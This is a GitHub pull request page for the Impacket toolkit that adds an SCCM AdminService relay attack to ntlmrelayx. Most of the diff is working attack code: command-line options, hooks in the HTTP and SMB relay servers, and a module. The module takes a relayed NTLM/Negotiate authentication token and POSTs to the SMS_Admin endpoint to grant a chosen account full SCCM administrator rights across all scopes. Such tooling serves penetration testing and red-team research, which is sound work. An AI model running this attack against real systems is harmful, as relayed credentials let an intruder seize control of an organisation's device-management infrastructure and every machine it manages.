Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature/relay sccm adminservice #1593

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
8 changes: 8 additions & 0 deletions examples/ntlmrelayx.py
Expand Up @@ -205,6 +205,7 @@ def start_servers(options, threads):
options.cert_outfile_path)

c.setAltName(options.altname)
c.setisADMINAttack(options.adminservice, options.logonname, options.displayname, options.objectsid)

#If the redirect option is set, configure the HTTP server to redirect targets to SMB
if server is HTTPRelayServer and options.r is not None:
Expand Down Expand Up @@ -390,6 +391,13 @@ def stop_servers(threads):
help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))')
shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key')

# Adminservice opions
adminoptions = parser.add_argument_group("SCCM AdminService attack options")
adminoptions.add_argument('--adminservice', action='store_true', required=False, help="Enable SCCM AdminService relay attack")
adminoptions.add_argument('--logonname', action='store', required=False, help="Logon name of the account to be added as an admin")
adminoptions.add_argument('--displayname', action='store', required=False, help="Display name name of the account to be added as an admin")
adminoptions.add_argument('--objectsid', action='store', required=False, help="SID of the account to be added as an admin")

try:
options = parser.parse_args()
except Exception as e:
Expand Down
3 changes: 3 additions & 0 deletions impacket/examples/ntlmrelayx/attacks/httpattack.py
Expand Up @@ -17,6 +17,7 @@

from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.adminserviceattack import ADMINSERVICEAttack

PROTOCOL_ATTACK_CLASS = "HTTPAttack"

Expand All @@ -34,6 +35,8 @@ def run(self):

if self.config.isADCSAttack:
ADCSAttack._run(self)
elif self.config.isADMINAttack:
ADMINSERVICEAttack._run(self)
else:
# Default action: Dump requested page to file, named username-targetname.html
# You can also request any page on the server via self.client.session,
Expand Down
@@ -0,0 +1,75 @@
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# SCCM AdminService relay attack
#
# Authors:
# Garrett Foster (@garrfoster)
# Tw1sm (@Tw1sm)

from impacket import LOG
from struct import unpack
from impacket.spnego import SPNEGO_NegTokenResp
import json
import base64

ELEVATED = []

class ADMINSERVICEAttack:
def _run(self):
# slightly modfied sendAuth func from httprelayclient.py reused here due to negotiate auth,
# requring all action to be performed in one shot
if self.username in ELEVATED:
LOG.info('Skipping user %s since attack was already performed' % self.username)
return

if unpack('B', self.config.sccmAdminToken[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
respToken2 = SPNEGO_NegTokenResp(self.config.sccmAdminToken)
token = respToken2['ResponseToken']
else:
token = self.config.sccmAdminToken
auth = base64.b64encode(token).decode("ascii")
headers = {'Authorization':'%s %s' % ('Negotiate', auth),'Content-Type': 'application/json; odata=verbose'}

data = {
"LogonName": self.config.logonname,
"AdminSid": self.config.objectsid,
"Permissions": [
{
"CategoryID": "SMS00ALL",
"CategoryTypeID": 29,
"RoleID":"SMS0001R",
},
{
"CategoryID": "SMS00001",
"CategoryTypeID": 1,
"RoleID":"SMS0001R",
},
{
"CategoryID": "SMS00004",
"CategoryTypeID": 1,
"RoleID":"SMS0001R",
}
],
"DisplayName": self.config.displayname
}

body = json.dumps(data)

LOG.info('Adding administrator via SCCM AdminService...')
self.client.request("POST", '/AdminService/wmi/SMS_Admin', headers=headers, body=body)
ELEVATED.append(self.username)
res = self.client.getresponse()

if res.status == 201:
LOG.info('Server returned code 201, attack successful')
else:
self.lastresult = res.read()
LOG.info(f'Server returned code {res.status} - attack likely failed')
LOG.info(self.lastresult.decode("utf-8").replace("'", '"'))
10 changes: 10 additions & 0 deletions impacket/examples/ntlmrelayx/servers/httprelayserver.py
Expand Up @@ -429,6 +429,16 @@ def do_relay(self, messageType, token, proxy, content = None):

target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace("/", '\\'), self.target.netloc)

# when relaying to the SCCM AdminService to add a new administrator,
# we need to break out of the normal relay auth flow and
# perform the attack all in one shot
if self.server.config.isADMINAttack:
LOG.info("Exiting standard auth flow to add SCCM admin...")
self.server.config.setSCCMAdminToken(token)
LOG.info("Authenticating against %s://%s as %s" % (self.target.scheme, self.target.netloc, self.authUser))
self.do_attack()
return

if not self.do_ntlm_auth(token, authenticateMessage):
LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc,
self.authUser))
Expand Down
6 changes: 6 additions & 0 deletions impacket/examples/ntlmrelayx/servers/smbrelayserver.py
Expand Up @@ -326,6 +326,12 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket):
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))).upper()

if self.config.isADMINAttack:
LOG.info("Exiting standard auth flow to add SCCM admin...")
self.config.setSCCMAdminToken(token)
LOG.info("Authenticating against %s://%s as %s" % (self.target.scheme, self.target.netloc, self.authUser))
self.do_attack(client)
return
if rawNTLM is True:
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = securityBlob
Expand Down
16 changes: 16 additions & 0 deletions impacket/examples/ntlmrelayx/utils/config.py
Expand Up @@ -100,6 +100,13 @@ def __init__(self):
self.ShadowCredentialsExportType = None
self.ShadowCredentialsOutfilePath = None

# Admin service attack
self.isADMINAttack = False
self.sccmAdminToken = None # internal storage var; not a CLI flag option
self.logonname = None
self.displayname = None
self.objectsid = None

def setSMBChallenge(self, value):
self.SMBServerChallenge = value

Expand Down Expand Up @@ -238,6 +245,15 @@ def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentials
def setAltName(self, altName):
self.altName = altName

def setisADMINAttack(self, isADMINAttack, logonname, displayname, objectsid):
self.isADMINAttack = isADMINAttack
self.logonname = logonname
self.displayname = displayname
self.objectsid = objectsid

def setSCCMAdminToken(self, token):
self.sccmAdminToken = token

def parse_listening_ports(value):
ports = set()
for entry in value.split(","):
Expand Down